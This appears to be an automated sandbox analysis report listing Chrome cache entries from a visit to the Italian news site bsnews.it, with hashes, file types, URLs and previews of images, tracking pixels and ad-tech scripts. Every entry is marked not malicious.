SHA-256:	99D7E424A566E6F830C746C24E9C0F52608CC979CBA51E4453B751A3F8D47D4A
SHA-512:	4914115781F0E4B14F3D4E23E8E8DD35C2C023702BF9B5247557A9221F2A1BF3F855FBF18545AEFDDD224845BDF3779474B731F6CACA5EEE9308A6AAAE13767B
Malicious:	false
Reputation:	low
URL:	https://i0.wp.com/bsnews.it/wp-content/uploads/2024/03/photo_6051118783147393837_y.jpg?resize=324%2C160&ssl=1
Preview:	RIFF.+..WEBPVP8 .+.......D...>.>.H.."!...p...e......_/......Y..e.N....L.<.w..g.=..x....\|..1W.X.wq.....z.y......~....d;......[._...Z...R...]..kJ......{.....[....}R...a.N..\|S+.G.L.u..._4.kx...Rs..8.D.9.@.i.+!...b.nF...$..J.6...It.rB.....I.'.. ....7.h..b.w.I,...X../.!..H..R...<......U"k.)......r.#.E.Iu.....,..Gf..O.../....../-ag-1..;.=......h..g....#J.....v..+@.S3...b..!.M.3...L~..od.~.Vp.....c2...9...'C...s....0I.&T..(.....$......W...`ZIr^..j..CuG..#d...ma[...R....mf.....Bi.J.zj..]V ....P..i[..t...>.aR.k.Ep..I.W.a..h@.(.B.JH....X7../....=p...w....,.....!.#..{.}..3..,...Z.1...3)1..TVP..........`_q.x..Ju.i......,.Z./.Y4...yMB^......D-.< ..Ir.......*.T3..He..L.....`69.j..[{......v.hrLR...x.Z...k7EH.../...E.7..'..`.tR.f`j..;N......N.....\|..U`..h ..Z ...o .Xq.2.F...%.lo.........j.,q....ChE.%.6UMR..5..m..9/.0.[UCo..Y..[../k....P..uW...y..4_......e0...M1.\.m#..!D.f...".P..........7.k.......q...a....~......\.=&..\|.%.5\.w..?9!.....R.hQ.R".5KM

Chrome Cache Entry: 521

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (17000)
Category:	downloaded
Size (bytes):	17036
Entropy (8bit):	5.26105031876484
Encrypted:	false
SSDEEP:	384:jh54jZmKeik7BpF/4nS+OHMGak0NaHgDqrZ8S1iQA:ecBpp4S+6Mh0Xt87x
MD5:	3C18296D733019EFEEE5C80831F8F3EE
SHA1:	E751E3696768777D6C050E89267DE8B5E9D77D1E
SHA-256:	EB24331A7E29E6C6CA7B1A724441EE7493341A4C4839B462126C4B5211A0ABD8
SHA-512:	D933272579374943455FFCADB91D7595BDC5841EC10FA7DAC585E6A3180192BEE5BC61FA3B956AEE8C3A344C8C03E79C86077F79AA22F496AD8D1333C2E96CC7
Malicious:	false
Reputation:	low
URL:	https://assets.a-mo.net/js/cframe.js
Preview:	!function(){"use strict";function t(t,n){H.forEach((e=>{try{e(new K(t,n))}catch(t){}}))}function n(t,n){return-1!==function(t,n){if("string"!=typeof n)return-1;if(null==t)return-1;let e=String(t);return 0===e.length?-1:e.indexOf(n)}(t,n)}function e(t,n){void 0===n&&(n="");try{return atob(t)}catch(t){return"string"==typeof n?n:""}}function r(t){return Math.floor(Math.random()t)}function l(t){return new Promise(t)}function u(t){let n,e,r=l(((t,r)=>{n=n=>{n instanceof Promise\|\|null!=n&&n.then?n.then((t=>{u.v=t})):u.v=n,t(n)},e=r})),u={v:null!=t&&t!==String({})?t:null,r:n,j:e,p:r};return[u.r,u.j,()=>u.v,u.p]}function i(){return Math.floor(Math.random()(Number.MAX_SAFE_INTEGER-10)).toString(36)}function o(){return[i(),i(),i()].join("").slice(0,18)}function c(t){let n=[];return Object.keys(t).forEach((e=>{var r;null!=t[e]&&n.push(rt(e)+"="+rt(String(null!=(r=t[e])?r:"")))})),n.join("&")}function s(t){if(null==t\|\|t.length<2)return{};let n={};return t.replace(/^[\?#]/,"").split("&").forEach(

Chrome Cache Entry: 522

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (1070)
Category:	dropped
Size (bytes):	1109
Entropy (8bit):	5.400100310946397
Encrypted:	false
SSDEEP:	24:2dXt9WYzO5hTVK2FbzXh6vEFM+sBntvwCCZV9UkOOxTuRXKr5c:c2Yz8TVtYviMnhYJOCTuRXEc
MD5:	FBB7D63C730E3FF27A9B7DF389BB3EFD
SHA1:	CCCDBB77FCBDF59E1F095E4CCD0A69FB62B4C2E7
SHA-256:	9ADAE073D000B234A19EEF24B4391CDFC4BA52A46B159C9B06C3AFFA2FFD851F
SHA-512:	227791106E6E033DFA226ED85C8BD7009090B0ED2A1FAF390C4B22CFDB6B3887AAE0D10EAB9B3132557C3DD4F4F9E4C2B60C8032A45C20903B9A39DE49BA807E
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8"?>.<VAST version="3.0" xmlns:t="http://tremorhub.com/ssp" t:status="NO_AD"><Ad ><Wrapper><AdSystem>Tremor SSP</AdSystem><VASTAdTagURI><![CDATA[https://partners.tremorhub.com/syncnoad?rid=30f2e100c3804685b89bc432e7fc41cf&p=activeagent%2Clogicad%2Cgoogle%2Cdemandbase%2Cportodsp%2Cconversant%2CTubeMogul-GP%2C1%2Cdataxu%2Ctremornet%2CVideology%2Cthetradedesk%2Cappnexus%2Ccentro%2CBidswitch%2Cstackadapt%2Cscaleout%2Cdynadmic%2Cmediamath%2CBidTheatre%2Cbeeswax%2CTapAd%2Cadgear%2CPulsepoint%2Cbrightroll%2Cbeachfront%2Cindexexchange%2CRadiumOne%2Cbucksense%2Cadform%2Cblis%2Cmadhive%2Cemx%2Cexponential%2Cadelphic%2Cadtheorent%2Csimpli.fi%2Cquantcast%2C4Info%2Cdeepintent%2Cadvangelists%2Cmartinai%2Cacuityads%2C_google_dfp%2C_dmp_turbine%2C_dmp_krux%2C_dmp_adobe%2C_dmp_lotame&uid=5c99a009bd184d5ca3b7885003b720e3&vv=3.0&gdpr=0&gdpr_consent=1 </VASTAdTagURI><Error><![CDATA[https://p.rfihub.com/cm?in=1&pub=7115&rid=30f2e100c3804685b89bc432e7fc41cf </Error><Imp

Chrome Cache Entry: 523

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (64390)
Category:	downloaded
Size (bytes):	590771
Entropy (8bit):	5.381601182710568
Encrypted:	false
SSDEEP:	6144:55lnmFEw3ocIesWO6Wgk9KITjJuJJTlppyf0GzLHQu1w3eCf:BmFpoQsWzkzjJurQRztbCf
MD5:	F20BD564E01A06E2174FFB284DA193D9
SHA1:	882E8069BDD22FF11D6E5DB24D500091C8866D81
SHA-256:	35CDB025D1718D610959FDE36114E09F2D3B569EA70F50AB77CB3BADFBB3681C
SHA-512:	F753C7C31E8FCD9FF115FAD3563C1EBE5EE22D1262304190308198AB3F81349E1D745E0FD2EABE485F67CBE9ECB036412A71DAD2B3A4D583D2CC1FB7BDBF1637
Malicious:	false
Reputation:	low
URL:	https://static.sunmedia.tv/sdks/3p/prebid-js/0.3.0/sm-prebid.js
Preview:	/* prebid.js v8.33.0.Updated: 2024-01-31.Modules: fpdModule, userId, adfBidAdapter, admanBidAdapter, adponeBidAdapter, adyoulikeBidAdapter, amxBidAdapter, appnexusBidAdapter, betweenBidAdapter, bizzclickBidAdapter, connectadBidAdapter, criteoBidAdapter, improvedigitalBidAdapter, ixBidAdapter, oguryBidAdapter, onetagBidAdapter, openxBidAdapter, pubmaticBidAdapter, richaudienceBidAdapter, rtbhouseBidAdapter, rubiconBidAdapter, sharethroughBidAdapter, smartadserverBidAdapter, smilewantedBidAdapter, sonobiBidAdapter, sovrnBidAdapter, tripleliftBidAdapter, unrulyBidAdapter, yahoosspBidAdapter, consentManagement, consentManagementGpp, consentManagementUsp, enrichmentFpdModule, gdprEnforcement, gppControl_usnat, gppControl_usstates, gptPreAuction, priceFloors, schain, topicsFpdModule, criteoIdSystem, id5IdSystem, zeotapIdPlusIdSystem, idxIdSystem, lotamePanoramaIdSystem, quantcastIdSystem, sharedIdSystem, uid2IdSystem */.if(window.pbjs&&window.pbjs.libLoaded)try{window.pbjs.getConfig("debug")

Chrome Cache Entry: 524

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	CFCD208495D565EF66E7DFF9F98764DA
SHA1:	B6589FC6AB0DC82CF12099D1C2D40AB994E8410C
SHA-256:	5FECEB66FFC86F38D952786C6D696C79C2DBC239DD4E91B46729D73A27FB57E9
SHA-512:	31BCA02094EB78126A517B206A88C73CFA9EC6F704C7030D18212CACE820F025F00BF0EA68DBF3F3A5436CA63B53BF7BF80AD8D5DE7D8359D0B7FED9DBC3AB99
Malicious:	false
Reputation:	low
Preview:	0

Chrome Cache Entry: 525

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	170
Entropy (8bit):	5.335916817166796
Encrypted:	false
SSDEEP:	3:yionv//thPlE+tnM5OCAadCmy42/uDlhlbGlo+4/iRXTECLrlxyxtyaC/tIlsg1B:6v/lhPfZMQC19s/6TdKXTECL6yR/iVB
MD5:	E7673C60AF825466F83D46DA72CA1635
SHA1:	FC0FCBEE0835709BA2D28798A612BFD687903FB5
SHA-256:	0B8A20373C6DD04E091902226D922B3688143A8938AFB9D283D889DE7B55CEB5
SHA-512:	F1C33E72643CE366FD578E3B5D393799E8C9EA27B180987826AF43B4FC00B65A4EAAE5E6426A23448956FEE99E3108C6A86F32FB4896C156E24AF0571A11C498
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR....................bKGD..............pHYs.................tIME......-Q.7n....tEXtComment.Created with The GIMP.d%n....IDAT..c.iy......+........IEND.B`..

Chrome Cache Entry: 526

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
URL:	https://dsum-sec.casalemedia.com/crum?cm_dsp_id=18&expiration=1727513496&external_user_id=0b5b1a55-8255-43a3-bfde-d6fb3db0f96d
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 527

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 8-bit gray+alpha, non-interlaced
Category:	downloaded
Size (bytes):	68
Entropy (8bit):	4.403590365002627
Encrypted:	false
SSDEEP:	3:yionv//thPlE+tJ8/V+/B6dS8p:6v/lhPfA/UJ63p
MD5:	EDB2AA47631C67A43709D4CCD2501E33
SHA1:	87475B448C53CF32FFE78AB121DB8BAB41D478E0
SHA-256:	6019C3C9E47DC991F8D9937DEAFBB0740C2E61E321324798CB508773B0814824
SHA-512:	65820EEAF261F01988570AFE7866D9B83901950DFBD89542009A1FAAAE520E1AF2FA08789B7E94A64B0E1A3BDC39256354EFE1D38856621851DD65E80505DBB2
Malicious:	false
Reputation:	low
URL:	https://match.sharethrough.com/sync/v1?source_id=FGhqNjC2WnFmmvNpTL32LMME&source_user_id=7687c594-1bff-4b8d-b7fd-ac5b0069f223&gdpr=0&gdpr_consent=
Preview:	.PNG........IHDR.....................IDATx.c........o.......IEND.B`.

Chrome Cache Entry: 528

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3272)
Category:	downloaded
Size (bytes):	3421
Entropy (8bit):	4.793621083293338
Encrypted:	false
SSDEEP:	48:bVf7l4MaSrDLZRc//3tLSqLMXnOpHv8tGgnI7a5u6:bMMaSrHcYeWnJJ
MD5:	5C3C2832F3563333B9C9DBA91C919BC9
SHA1:	DE9B17EBC54CFB3D3FD275707EF5DF8515C15B3D
SHA-256:	36F488FC23B36CEF66B95053540D0A796374E136EAD286ABD085F5C95D6DA271
SHA-512:	60C38D53EE4EC9225059B70AD3C85574B8316B29C6EC3F851633C2365F0052BFA988608801E53F341F3BFBA6212159774FE67547B4CAE6DCDFFBFD66CDAB644D
Malicious:	false
Reputation:	low
URL:	https://0.gravatar.com/js/hovercards/hovercards.min.css
Preview:	.gravatar-hovercard{display:inline-block;z-index:10000000}.gravatar-hovercard h4,.gravatar-hovercard p{margin:0}.gravatar-hovercard a,.gravatar-hovercard i,.gravatar-hovercard p{color:#000;font-family:SF Pro Text,-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:14px;line-height:1.5}.gravatar-hovercard .gravatar-hovercard__inner{background-color:#fff;border:1px solid #d8dbdd;border-radius:4px;box-shadow:0 2px 6px rgba(0,0,0,.08);box-sizing:border-box;display:flex;flex-direction:column;height:213px;justify-content:space-between;padding:24px 24px 16px;width:400px}.gravatar-hovercard .gravatar-hovercard__header{align-items:center;display:flex;gap:10px}.gravatar-hovercard .gravatar-hovercard__avatar-link,.gravatar-hovercard .gravatar-hovercard__social-link{display:inline-flex}.gravatar-hovercard .gravatar-hovercard__avatar{background-color:#eee;border-radius:50%}.gravatar-hovercard .gravatar-hovercard__name-location-link{text-

Chrome Cache Entry: 529

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 1-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	95
Entropy (8bit):	4.347811435468635
Encrypted:	false
SSDEEP:	3:yionv//thPlE+kSI+Dtmy/Y+sR3Qhl/Y3WlED//jp:6v/lhPfkCDtmywFghu3WlEDTp
MD5:	71A50DBBA44C78128B221B7DF7BB51F1
SHA1:	0EC63B140374BA704A58FA0C743CB357683313DD
SHA-256:	3EB10792D1F0C7E07E7248273540F1952D9A5A2996F4B5DF70AB026CD9F05517
SHA-512:	6AD523F5B65487369D305613366B9F68DCDEEE225291766E3B25FAF45439CA069F614030C08CA54C714FDBF7A944FAC489B1515A8BF9E0D3191E1BCBBFE6A9DF
Malicious:	false
Reputation:	low
URL:	https://mwzeom.zeotap.com/mw?zpartnerid=876&env=mWeb&cid=ZgUvkQAB4q7dwAA-&env=mWeb&eventType=pageview&id_mid_4=5b95a3db-1a3a-4c5d-7bc4-805f128d851b&reqId=212c3ed0-3dd8-4750-606c-8892c7edded6&zdid=648
Preview:	.PNG........IHDR.............%.V.....PLTE....z=.....tRNS.@..f....IDAT..c`.......!.3....IEND.B`.

Chrome Cache Entry: 530

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	269
Entropy (8bit):	5.235195150873638
Encrypted:	false
SSDEEP:	6:hn8FQiowadCc4svmzsMX5mBQLzLcIjEdxvAqJmW/upLV4HX4QL:hnMQbwuO4M2e4xYqJmWeV4IQL
MD5:	C7B1A96E4676C76C0240D4A835FB7252
SHA1:	8A4DE304873BB5A8C11DD86B86CC8B8356BAD8B5
SHA-256:	E4DF52D49C57BC3E7158CB052CC05C60F1258C24DE5C5728DAC5D43272943AD9
SHA-512:	349FE7702C3A1355026D9051B3BDF4143358A34A416DF67099E7FA16CACD72270E40DAF59C24C1FE0C6705F91AEDABD0E9D8298985E6A3BF9F133C08DC07AD86
Malicious:	false
Reputation:	low
URL:	https://eus.rubiconproject.com/usync.html?p=a9us&endpoint=us-east
Preview:	<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">. Copyright Magnite 2024 -->.<html>.<head>. <title>User-Sync</title>.</head>.<body>. <script type="text/javascript" src="usync.js"></script>.</body>.</html>.

Chrome Cache Entry: 531

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (576), with no line terminators
Category:	downloaded
Size (bytes):	576
Entropy (8bit):	5.1659793663110705
Encrypted:	false
SSDEEP:	12:fXffSIMx9G2iR9nbaghXluHnsVPmzx8kU9Q/j5DRWZRlb1o:fXffSIaG3RJ/XluHSPkU9W1RWZRd2
MD5:	0E28E3246DA768078E5EB45652A1290C
SHA1:	AE06632763BF10B8A3EAE66976697004661CC5DF
SHA-256:	F6C6463CB6903FDD35B5A3E7888DAFE775A45B136A4E9D5447A16159C8BEFB04
SHA-512:	E2C213AB469CC9AD3B68256A8D70A884CAA5CC0F3410B0220FD9DE75CDEF10665C8E5143203D3A279EC770A8E64E86B77A0E0929219BB50E700F20C72BF07C20
Malicious:	false
Reputation:	low
URL:	https://cdn.codesour.com/codesour/bsnews/290.prod.js
Preview:	(self.webpackChunksour=self.webpackChunksour\|\|[]).push([[290],{290:(t,s,a)=>{"use strict";a.r(s);var c=a(845);const{LoggerSour:e}=c.t,o=new e("ThirdParts > Pubstack");!function(){var t=window;const{scriptsToLoad:s}=t._sour.config;if(s.pubstack){o.log("Initialize Pubstack",s.pubstack);var a=document.createElement("script");a.async=s.pubstack.async,a.type="text/javascript";var c="https:"===document.location.protocol;a.src=(c?"https:":"http:")+s.pubstack.url;var e=document.getElementsByTagName("script")[0];e.parentNode.insertBefore(a,e),o.log("Loading Pubstack",a)}}()}}]);

Chrome Cache Entry: 532

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	1404
Entropy (8bit):	5.018296300165557
Encrypted:	false
SSDEEP:	24:4WYku40XcZOPF9UVdgFjl5GtpBiHjCnyfdWiaM/Njv3igeHa/UP6/MBb4gM:4YuBsZ0nAPiGfM/N7JZ/US/MB0gM
MD5:	B1DA2234A554EE8BC6519A75D88402D9
SHA1:	5E007EA8C9BF7189220702C0B037CC78B640CDB0
SHA-256:	E4AB70A88F4571565530B506B9FAADAE276EC56B9B17BF3B9ACE07B0F77BEE8C
SHA-512:	0920C52FED6C544E3758BC994CA57D943E4C6DD4636DA6A5A5CA0F5B6A072249D076A380234CA9EA5FD3A21FD989160BB7380FFD62D14A609EDA750BFE19175D
Malicious:	false
Reputation:	low
URL:	https://topics.authorizedvault.com/topicsapi.html?bidder=rtbhouse
Preview:	.<!DOCTYPE html>.<html lang="en">..<head>. <title>Topics API</title>. <meta charset="utf-8">. <meta http-equiv="origin-trial". content="AoxoanON0mg6Enu/JtYIzGiAfZryJyYm13rXY61G4Jb9DHFzvnhz5SP5/BvNsqK/BLcl1F+TimdVueCR/pO7BQUAAAB1eyJvcmlnaW4iOiJodHRwczovL2F1dGhvcml6ZWR2YXVsdC5jb206NDQzIiwiZmVhdHVyZSI6IlByaXZhY3lTYW5kYm94QWRzQVBJcyIsImV4cGlyeSI6MTY5NTE2Nzk5OSwiaXNTdWJkb21haW4iOnRydWV9">. .</head>..<body>. <script>. async function getTopics() {. try {. if (. "browsingTopics" in document &&. document.featurePolicy.allowsFeature("browsing-topics"). ) {. const topics = await document.browsingTopics();. console.log(. "Called iframe:",. window.location.hostname,. topics,. "\nNumber of topics: ",. topics.length. );. return Promise.resolve(topics);. } else {. console.log("document.browsingTopics() not supported");. }. } catch (error

Chrome Cache Entry: 533

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	42
Entropy (8bit):	2.9881439641616536
Encrypted:	false
SSDEEP:	3:CUXPQE/xlEy:1QEoy
MD5:	D89746888DA2D9510B64A9F031EAECD5
SHA1:	D5FCEB6532643D0D84FFE09C40C481ECDF59E15A
SHA-256:	EF1955AE757C8B966C83248350331BD3A30F658CED11F387F8EBF05AB3368629
SHA-512:	D5DA26B5D496EDB0221DF1A4057A8B0285D15592A8F8DC7016A294DF37ED335F3FDE6A2252962E0DF38B62847F8B771463A0124EF3F84299F262ED9D9D3CEE4C
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D.;

Chrome Cache Entry: 534

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image, VP8 encoding, 324x160, Scaling: [none]x[none], YUV color, decoders should clamp
Category:	downloaded
Size (bytes):	10554
Entropy (8bit):	7.981473847231522
Encrypted:	false
SSDEEP:	192:I1pr42eyeaNHDRmRM6CIRg5cpzZ8qBMdS4YeP7vlLjoYedhKaHjgivfAhJe:sV4tuDWXCIq5cpzZNGS4ZXoPdhKaHjJ7
MD5:	94D60D9B8382840B09B6A67CDB5723F6
SHA1:	B0152898E94B541232950E2BA9A2E392907F9E7D
SHA-256:	79406F9AD3569138135E4677AAD17A13E359274699EF02A7BC30BCF973036777
SHA-512:	596CCF3E0D8D62FF83A23FAC4C1A501B4A957FF4175711A360E39337C3A78C36DBD98888211029F48A6FE52672CA097E26A30551C5B66AD1B606F23356F033F3
Malicious:	false
Reputation:	low
URL:	https://i0.wp.com/bsnews.it/wp-content/uploads/2023/01/cemetery-3799038_1920.jpg?resize=324%2C160&ssl=1
Preview:	RIFF2)..WEBPVP8 &)......D...>m..G$"!.+5...ch.X.....z.......sw.......k.Y.E...o..T~.G.KS.Yb......{#.s.O..G}....'.`/......@.(..?......d..5..\.@.K..+..:.........C:!w...M7...T.Hw.V.......y.A...I.'.11[....#.q...Kc......oE..T..v.Z;...Dg.).dM.oC vp?..B..EI.S:.:v..0}. .[.......bc....Zy..uu];Z.....B ZD..]..S..Z.7.9.yd#..;..o...w."?.b.U...jLW.c'......O..l..{......5,..#.......Pl.>.z3...+..bF.x{..]...G......\|$.Q..-... 9.8r.LV.YHu.59.....`s....z.4..=..Q.....T... {.:....Zx....>...}h.G....N...s....p_.B....'..\|_..q.J..gJ....Q....a~f].c.puKM..>6..~6.T.kx\|..[..G..G....)7..w.../....8?he.n.......`...^..~..n8s}?.7f/z.4?.....b.Aw?.Kf!..aB.j..r.1-.._..b.A.`.{*}.4.Q..6.^gaG.~U...\|..m../C....l...5`.v.X.x...7.Y..MG.......p.(...............a}+.X..D.........jI....".&......U....kKV.A.uK..F.M.A.....B./.Sv..2IRF..A.....z..O."..3....eb...g?.U/..6)Z..(..LX.a.BmC.#."!....0A.m...U..8...Xa.z..fI.j...n/..w.......W.&.R.[......(..}C.b.O.m.Y\.M."....... ..(....S\1..K{.{....

Chrome Cache Entry: 535

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	269
Entropy (8bit):	5.235195150873638
Encrypted:	false
SSDEEP:	6:hn8FQiowadCc4svmzsMX5mBQLzLcIjEdxvAqJmW/upLV4HX4QL:hnMQbwuO4M2e4xYqJmWeV4IQL
MD5:	C7B1A96E4676C76C0240D4A835FB7252
SHA1:	8A4DE304873BB5A8C11DD86B86CC8B8356BAD8B5
SHA-256:	E4DF52D49C57BC3E7158CB052CC05C60F1258C24DE5C5728DAC5D43272943AD9
SHA-512:	349FE7702C3A1355026D9051B3BDF4143358A34A416DF67099E7FA16CACD72270E40DAF59C24C1FE0C6705F91AEDABD0E9D8298985E6A3BF9F133C08DC07AD86
Malicious:	false
Reputation:	low
URL:	https://eus.rubiconproject.com/usync.html?p=adyoulike&endpoint=eu&gdpr=0&gdpr_consent=
Preview:	<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">. Copyright Magnite 2024 -->.<html>.<head>. <title>User-Sync</title>.</head>.<body>. <script type="text/javascript" src="usync.js"></script>.</body>.</html>.

Chrome Cache Entry: 537

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 324x160, components 3
Category:	dropped
Size (bytes):	12265
Entropy (8bit):	7.951815555792111
Encrypted:	false
SSDEEP:	192:jJ3L98K1auoXEI9m+mtbgDV/imTCyxMBckMinMSQ0b8+La0ZeXJhl44fkvv:jN2Kwpxmtba/b1kMiLzx+04/Ev
MD5:	F425D2A9CEBA82995CB854503C4F31AD
SHA1:	63BD46F4077E9FD79939D0A83ABB2F27CAD9FC73
SHA-256:	BEEA070F6E42FA0065E4AD340134C2BB788796F5F47394A4C3DFAF20404592F3
SHA-512:	530C740AA779DEBE085213383D02A60FC3B6F5524D10265B2BE8B722C858640642CC6453C3F645980B9ADE6A91DEAAF2CE90EDF9CE6DBF88738A7D6AA5C93F1D
Malicious:	false
Reputation:	low
Preview:	......JFIF.............C.....................................%...#... , #&'))..-0-(0%()(...C...........(...((((((((((((((((((((((((((((((((((((((((((((((((((........D..".................................................................................w7....X....".\|...&Q..s...djk$...GF.......fo;.\.7........k..D.u...~'.GN..o&..:.v;...$.\.dr(.yU.t@2..6.Np.a...).).k&.\.dK]!.....~y..}..`.^K.....%..UG....`.3.eg .x..p5U....vz...s\..gO.+....G.uGTs.......k'Wis.<..y.....e....2R..+U.q..lz{_?$V.....%.&g..E....r.o7NEs_...L.c.U&..)....Hv.iS......Ri.L.].^7.4^...y...Z...u'.'i..<.xg?o8u"..o..6Q-R.-......%e.b..'5-.v.].yaE...ns.StR.6Z.Cg\|.........g}S.o..;,O.`./....yTt......;.y9.-.X......O.0D.r...c.~..BQ-i.7.L2....PD.C@..SF..;.F.^.;J...5...v.k$j.]P2.3G?.2>r1;..".f.M..-....`. .....7...T.2......>[9!.Mo.y.~f..]f5-Cb.T.a....}F....h.Z......U...5..@.St\....Iib...!.<.ah...&.I..?e.Y.Y..4./..k.D...t.......:...:y9..HX.P.r.%:0"../)..rr+.:N.....g.SYHj.Pe..^HC.jON.E.3.L{.....

Chrome Cache Entry: 544

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	44
Entropy (8bit):	2.6968929824182477
Encrypted:	false
SSDEEP:	3:CUnl/7yltxlHht:/+t
MD5:	354857DE9229BAE15647FBC6364A4B19
SHA1:	F23E9C4FADC2E01BF323E90E5C1459BB6CF4F917
SHA-256:	5ECB58845A9AC30E4EB4B18EB0E7431BA1FB195CE035309735EFAEE67421C7A3
SHA-512:	D734513CE24E1684C2729E7D1C65764498AB06913553237F9FB0E3D252178A0CF06FF02E45592DCB996D9D757D6549ABF78667E5525E9687ECEB6645E4B45951
Malicious:	false
Reputation:	low
URL:	https://secure-gl.imrworldwide.com/cgi-bin/m?ci=us-liveramp&cg=Xc30084t7a2WYe6XNRs3vGlF27VYvBoVmsk0pkPGEXt1yCWfE
Preview:	GIF89a.............!.......,...........D..;.

Chrome Cache Entry: 545

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (41827), with no line terminators
Category:	downloaded
Size (bytes):	41827
Entropy (8bit):	5.269618188612755
Encrypted:	false
SSDEEP:	384:FzMlcevSQAh/lCTXfc91+f0Eoys4LjmPkri9MkjRt8GGGzQg2rTlx0UCJsFdLMe0:FzwSQAllEcmfpfIkrivRykzQ/LdnkCdI
MD5:	F40F606DE260151C7093B70D7F724D82
SHA1:	BBE5656409256C0281FB4E3F2F9FC264A53751AC
SHA-256:	66D0CEB663F3C62C291C70A462F97FF4D5FE367827FEE8BEE296BDDFED205A45
SHA-512:	B5825C1D52703BD336129E5F90A842B227DAEBF6B1E955027A07DA2FE735A47EF2A6627595D69BC98449E322009AF8CEF34EB06F8285BEF8F736F3B1BE830F2D
Malicious:	false
Reputation:	low
URL:	https://t.seedtag.com/c/st_3.d755393c95f314120a73.js
Preview:	(window.webpackJsonp1711523474425=window.webpackJsonp1711523474425\|\|[]).push([[3],{120:function(e,n,t){"use strict";t.d(n,"a",(function(){return l}));var r=t(4),i=t(1),o=t(34),a=t(36),u=t(46),d=t(43),c=t(64),v=t(93),s=t(68);function l(e,n,t,l){var f=void 0!==e?i.e(e):void 0,p=void 0!==n?n:function(e){return!1},_=void 0!==t?t:function(e){};return u.f(o.j(o.a(void 0),(function(e){var n={href:a.n(void 0),version:2},t=a.b(void 0),u=a.a(void 0);return o.j(d.b,(function(e){var d=a.d(void 0),m=r.j(r.o(e,s.b),v.a.SizeLimits.defaultSizeLimits);return o.a(c.c(i.c(f),p,i.c(t),i.c(u),n,d[0],m,_,l))}))})))}},122:function(e,n,t){"use strict";t.d(n,"b",(function(){return p})),t.d(n,"a",(function(){return _})),t.d(n,"c",(function(){return f}));var r=t(0),i=t(34),o=t(36),a=t(76),u=t(60);var d=t(143).a({start:function(e){if("number"!=typeof e)return 0===e.TAG?i.a(void 0):i.t(r.a(a.a,void 0),void 0);switch(e){case 0:case 1:case 3:return i.a(void 0);default:return i.t(r.a(a.a,void 0),void 0)}},bufferInter

Chrome Cache Entry: 546

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (8730), with no line terminators
Category:	downloaded
Size (bytes):	8730
Entropy (8bit):	5.235882231057153
Encrypted:	false
SSDEEP:	192:rVHDI927Zb4i5I9g4pN+vLFDGIR0gZ5b+3+RqI8g/KR8UUD1iAwLJpeFOV:9Q218xug6JH3R8gxvwR
MD5:	C46E30DE24D0F12167E302E9E32FF4A5
SHA1:	C5BBB002C712492D85053A44D08D372CF8ED63BC
SHA-256:	C7F6468C8AC1542980B2D5F637FA933D7D00D2C6FF6690E34505D2AED0C0E23A
SHA-512:	2AAC92DD988CF1F75B38807ADC4B0892BE262876045E8C93EB432A1BF3FD5A90CF1E3F4DBED2774B08315B98F3F13549B019F3AC1E76064D7A6EF4997F852D2F
